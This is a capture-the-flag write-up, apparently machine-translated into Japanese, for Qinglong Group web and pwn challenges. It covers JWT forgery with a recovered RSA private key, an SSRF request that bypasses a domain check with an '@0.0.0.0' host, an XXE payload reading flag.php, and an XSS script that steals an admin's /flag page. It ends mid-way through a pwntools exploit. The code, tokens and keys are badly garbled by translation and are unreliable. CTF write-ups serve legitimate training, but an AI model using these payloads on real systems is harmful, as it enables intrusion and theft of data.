1。 Qinglong Group Web
web1
最初にログインできます。ログインした後、トークンとセッションが生成されます。
これは、最初にJWTを偽造した元の質問です。
ctftime.org/downunderctf 2021(オンライン)/jwt /書き込み
2つのトークンを作成し、RSA_SIGN2Nツールを使用して公開キーを生成します
python3 jwt_forgery.py eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfhywfhin0.entobp4kzw6jbuqkckccc7fjt-fccqq9momhkwrqkpo12bsg464ytx2qni bluzgqjhndlgf2ukqb6owxhfm0qikrbg1skub00fo2kmbkevrlpygj7txozzconcndgdl-egama-msn321rnw-aickjsij5tf0hzqgbu8ucg1zd8ujaybcj3oxoi eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imeifq.iuanu3g_ztypjdnoj9gockfro1ooqlmqt0to_wyli9i9pluhxbbid5d5d2 wfif-sihgpudtzpvshie1ao0qnmlp3x7pvf-qb-juaslvbnpr1rckh2d3kq4u1d2wedvsgwvtjya6s5nxrvjpzdcpzlzmx_6ywn8cavk3k3k3kjltv8787o。
公開キーを入手してください
-----公開キーを開始----
migfma0gcsqgsib3dqebaquaa4gnadcbiqkkbgsslumfczg/ysg4ixoi6nkguwnnv
IPZZTRNA045EH2XZZY/ZYRWDOJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FAN
mncyra47xiw0rwzbdsabcgnwu3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502
ZMSV0AXMGN5UMH9FCWIDAQAB
-----公開キーを終了します------次にrsactftoolを使用して秘密鍵を取得します
----- RSA秘密キーを開始----
miicoqibaakbgsslumfczg/ysg4ixoi6nkguwnnvipzztrna045eh2xzzy/zyrwd
OJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FANMNCYRA47XIW0RWZBDSABCGNW
U3QP2NR7AR0/TZMSCLNCDWA7RKZLJM8FS7ZMB502ZMSV0AXMGN5UMH9FCWIDAQAB
AOGBC5/R+NCV2+UWXTJL8I6UJTLIFDOSSXKBJNIIKLXQH3L8IAAFX1I9KTXYEICW
TCGTUKX9GJD+XUWO0KOKJCG3HZC7BEFLKIOSK8DSWSPFEXYQPCE1EFOKHKC9RBIQ
urc9qirqjtzf5vdu2usj5ddrgtqtmpxm/ibu1tlpisy8y5tjaogbap2mj8b+pnwu
scp0eyh999ogr6jblqlvwysv34udqarcfjkqob60somzpgcypr/auhfdisnvkyxlk
s7ibebfmetwywux28ogfv7xtgf7rflwmakyxy4ml/dfhonv8khz6h5wpyxpl3wli
ujcsssjngxhj4aegltrruyspixflrdfvagelaogbalrhzoo+tjwzq2xpmveqjvjl
bxfs2wbcf/theuzb8zw/axjncuj1ilxubpzpvigtkppd6mxihv13j/1+3qnyyein
hf6vohlxzq6itrdetafqjp4vubigr+gpsqxqchl5bnue1qmdy3aw7ltarzz8iq5i
6gmi+wdryp+goqxd65upageraogaujts5pfhst6t8hfovcf87es6qguqrtlwagwr
TCFRQKB9TT1QRFGSADZLPUJ+QIRDQAM80AMNCVZDVTDG8NPMCKFP/R+OECPHPOUC
QSFY4PEZPMLYB7DCLCQ0SHTTPMZTTHTKDR+GFFDEDBPFOJTQC16QDNGSPBMKEPFZ
JQTA99E=
-----END RSA PRIVATE KEY----------------------------------------------------------------------------------------------------------------
ゲームルーティング機能にアクセスできます。ここに海外の元の質問があります
AIS3-PRE-EXAM-2024-WRITEUP | Naupのブログ
EMO式を使用してCDフラグを作成します; P: | cat *
ソースコードを直接読み取ると、36F8EFBEA152E50B23290E0ED707B4B0のSecret_Keyを取得できます
それからそれを偽造します
次に、ファイルをアップロードする機能を使用できます。まず、このパートのソースコードを監査しましょう。
@app.route( '/upload'、method=['get'、 'post']))
def upload():
token=request.cookies.get( 'token')
token:ではない場合
flash( '最初にログインしてください'、「警告」)
return redirect(url_for( 'login'))
ペイロード=decode_jwt(token)
form=uploadform()
ペイロードまたはペイロード['username']!='admin':でない場合
error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません。」
return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])
セッション[「役割」]またはセッション['ロール']!='Admin':ではない場合
error_message='このページにアクセスする許可がありません。あなたの役割は管理者ではありません。」
return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])
form.validate_on_submit():の場合
file=form.avatar.data
file:の場合
filename=secure_filename(file.filename)
files={'file':(filename、file.stream、file.content_type)}
php_service_url='http://127.0.0.1/upload.php'
response=requests.post(php_service_url、files=files)
response.status_code==200:の場合
flash(respons.text、 'success')
else:
flash(「ファイルをPHPサービスにアップロードできなかった」、「危険」)
return render_template( 'upload.html'、form=form)
@app.route( '/view_uploads'、method=['get'、 'post']))
def View_uploads():
token=request.cookies.get( 'token')
form=gameform()
token:ではない場合
error_message='最初にログインしてください'
return render_template( 'view_uploads.html'、form=form、error_message=error_message)
ペイロード=decode_jwt(token)
Payload:ではない場合
error_message='無効または期限切れのトークン。もう一度ログインしてください。」
return render_template( 'view_uploads.html'、form=form、error_message=error_message)
ペイロードではない場合['username']=='admin':
error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません」
return render_template( 'view_uploads.html'、form=form、error_message=error_message)
user_input=none
form.validate_on_submit():の場合
filepath=form.user_input.data
pathurl=request.form.get( 'path')
if( 'www.testctf.com' 'not in patturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 '' in filepath):
error_message='www.testctf.comは、パスおよび/var/www/html/uploads/berse in filepathで必要です。
return render_template( 'view_uploads.html'、form=form、error_message=error_message)
params={'s': filepath}
try:
response=requests.get( 'http://'+pathurl、params=params、timeout=1)
return render_template( 'view_uploads.html'、form=form、user_input=respons.text)
:を除く
error_message='500!サーバーエラー '
return render_template( 'view_uploads.html'、form=form、error_message=error_message)
return render_template( 'view_uploads.html'、form=form、user_input=user_input)ポート80にPHPサービスがあり、 /uploadルートはUPLAODSディレクトリにファイルをアップロードできます。 view_uploadsルートの下でそれらを表示できますが、WAFがあります
if( 'www.testctf.com' 'not in baturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 ''。 ''。 ')その後、127.0.0.1の代わりに0.0.0を使用でき、SSRFのジャンプを使用してドメイン名制限をバイパスできます
POST /VIEW_UPLOADS HTTP /1.1
HOST: 0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732
user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv3360131.0)gecko/20100101 firefox/131.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/PNG、Image/SVG+XML、*/*; Q=0.8
Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2
Accept-Encoding: gzip、deflate
Content-Type:アプリケーション/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732
Connection:閉じます
参考文献: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732/VIEW_UPLOADS
Cookie3360セッション=eyjjc3jmx3rva2vuijoiymqyntjlzdzlzzlytq5zmjmowqyzjjjmmq0ytblnjc1yz jhyzlmnmu5myisinjvbguioijhzg1pbij9.zybmxg.elz3z69hygp6lg3vjimnsktlcno; token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfkbwluin0.dnqifndfowgggggnuk95sqa5gdu_d6tdv95ltu97wup8ekqx6zr NVVSNP8XKVVFSX0G3XVQBO5XHDXJNPM8LIIWX_KQ8FO8T0Q0Q0QBN1RJ5O2BGKGOZSSUWAURKG7ME6L4-XFIXI7P328F1T4EN_KSP91SES7-9LCN7JABBRUH1
アップグレード-Insecure-Requests: 1
priority: u=0、i
csrf_token=imjkmjuyzwq2zwe0owzizjlkmmyyzjkngewzty3nwmyywm5zjzlotmi.zybmag.rcaslc0xu8ep682ndtsz5peqsqpa th=www.testctf.com@0.0.0.0.0.0.0.0.0.0.0.Input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=submit次に、最初にファイルをアップロードしてから読み取ることができます。 XMLファイルの読み込みに失敗したことが報告されていることがわかった場合、XMLを解析してXXEを直接ヒットすると推測しますが、システムなどの多くのキーワードをフィルタリングするため、UTF-16エンコードを使用してFlag.phpファイルを直接読み取ります
?xmlバージョン='1.0'?
!doctype交換[!エンティティの例システム 'php: //filter/convert.base64-encode/resource=/var/www/html/flag.php']
userinfo
FirstNameJohn/FirstName
lastnameexample;/lastName
/userinfoiconv -f utf8 -t utf16 1.xml3.xml
次に、3.xmlをアップロードし、それを読んでフラグを取得します
web2
コンテナのログインインターフェイスを開き、アカウントパスワードを自由に入力して、脆弱性インターフェイスを入力します。
これは、XSSの一目で上司に送信する機能です
その後、アクセス /フラグがあり、上司はそれにアクセスする必要があります。ここでは、XSSを送信してから、最初にボスにアクセス /フラグを実行してから、データをコンテンツに持ち込むことができます。
ScriptVar XMLHTTP=new XMLHTTPREQUEST();
xmlhttp.withcredentials=true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readystate==4 xmlhttp.status==200){
var flagdata=xmlhttp.responsetext;
var flag1=btoa(flagdata);
var Remoteserverurl='/content/4a95828e3f0037bfe446ae0e693912df';
var xmlhttp2=new xmlhttprequest();
xmlhttp2.open( 'post'、remoteserverurl、true);
xmlhttp2.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');
xmlhttp2.send( 'content=' + encodeuricomponent(flag1))
}
};
xmlhttp.open( 'get'、 '/flag'、true);
xmlhttp.send();/script
タスクを更新した後、ボスに送信します
その後、ページに戻って、フラグが送信されていることを確認します
pwn
pwn2
ログイン関数から始めて、ユーザー名とパスワードを取得している限り入力できます。
Vuln関数には2バイトのオーバーフローがあり、BUFのアドレスが漏れています。
また、バックドア関数と /bin /sh stringも与えてくれました
完全な経験
PWNインポートから *
elf=elf( './short')
コンテキスト(arch=elf.arch、os=elf.os)
context.log_level='debug'
#libc=elf( './libc.so.6')
フラグ=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
po
Recommended Comments